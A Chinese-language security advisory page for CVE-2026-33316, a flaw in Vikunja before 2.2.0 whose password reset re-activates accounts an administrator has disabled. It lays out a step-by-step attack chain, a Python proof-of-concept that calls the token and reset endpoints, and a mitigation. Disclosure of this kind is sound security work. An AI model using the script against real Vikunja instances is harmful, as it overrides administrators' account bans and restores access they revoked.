IPBUF安全漏洞报告
English
CVE-2026-33316 CVSS 8.1 高危

CVE-2026-33316 Vikunja账户禁用绕过漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33316
漏洞类型
访问控制绕过
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

逻辑漏洞访问控制绕过Vikunja权限提升认证绕过

漏洞概述

Vikunja是一个开源的自托管任务管理平台。在2.2.0版本之前,其密码重置逻辑存在严重缺陷,允许被管理员禁用的用户通过重置密码重新激活账户。该漏洞使得攻击者能够绕过管理员实施的账户禁用措施,利用密码重置接口恢复对被禁用账户的完全访问权限,从而对系统的机密性和完整性造成高影响。

技术细节

漏洞的核心在于Vikunja后端代码中`ResetPassword()`函数的实现逻辑存在疏忽。在处理密码重置流程时,系统验证重置令牌的有效性及新密码的强度后,直接将数据库中对应的用户状态字段更新为`StatusActive`。关键问题在于,该更新操作未包含对原始账户状态的检查,导致即使用户账户此前已被管理员手动禁用(StatusDisabled),重置密码后也会自动变为活跃状态。攻击者利用这一逻辑漏洞,只需向`/api/v1/user/password/token`接口发送请求获取令牌,随后调用`/api/v1/user/password/reset`接口提交新密码,即可绕过访问控制限制,成功重新激活账户并获得系统的完整操作权限。

攻击链分析

STEP 1
1. 信息收集
攻击者识别出目标系统中存在被管理员禁用的用户账户(StatusDisabled)。
STEP 2
2. 请求重置令牌
攻击者向`/api/v1/user/password/token`接口发送请求,使用被禁用用户的邮箱申请密码重置令牌。
STEP 3
3. 执行密码重置
攻击者通过邮箱获取令牌后,向`/api/v1/user/password/reset`接口发送请求,提交新密码。
STEP 4
4. 绕过禁用限制
系统`ResetPassword()`函数在处理重置时,自动将账户状态设置为`StatusActive`,未保留原本的禁用状态。
STEP 5
5. 获取访问权限
攻击者利用新密码成功登录,恢复了对账户的完整访问权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL base_url = "http://target-vikunja-instance.com" email = "[email protected]" new_password = "NewStrongPassword123!" # Step 1: Request a password reset token # This endpoint does not check if the user is disabled token_endpoint = f"{base_url}/api/v1/user/password/token" reset_endpoint = f"{base_url}/api/v1/user/password/reset" payload_token = {"email": email} response = requests.post(token_endpoint, json=payload_token) if response.status_code == 200: print("[+] Reset token requested successfully.") # In a real scenario, the attacker would retrieve the token from the email link # For PoC purposes, assuming we intercepted the token reset_token = "INTERCEPTED_TOKEN_FROM_EMAIL" # Step 2: Reset the password using the token payload_reset = { "token": reset_token, "new_password": new_password } response_reset = requests.post(reset_endpoint, json=payload_reset) if response_reset.status_code == 200: print("[+] Password reset successful. Account is now active.") else: print("[-] Password reset failed.") else: print("[-] Failed to request token.")

影响范围

Vikunja < 2.2.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用公开注册及密码自助重置功能,仅允许管理员手动重置密码,并定期审计用户账户状态,确保被禁用账户未被意外激活。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表